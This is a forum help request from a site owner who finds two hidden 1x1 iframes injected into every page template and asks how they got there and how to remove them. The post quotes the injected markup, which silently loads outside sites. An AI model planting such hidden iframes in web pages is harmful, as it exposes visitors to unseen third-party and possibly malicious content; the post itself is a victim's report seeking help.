iframe injected into all templates

[dawges]

I have searched Google and have found a couple of forums suffering the same fate.

Today all of a sudden I noticed my pages loading slow so i looked at the code. I see a iframe at the bottom of all my pages:

<iframe src="http://damnxd.org/dns.html" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="http://www.jobless-jack.com/" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

My question is, how did it get there and how do i get rid of it?

--------------- Added [DATE]1378334265[/DATE] at [TIME]1378334265[/TIME] ---------------

I am running version 4.2.0 by the way.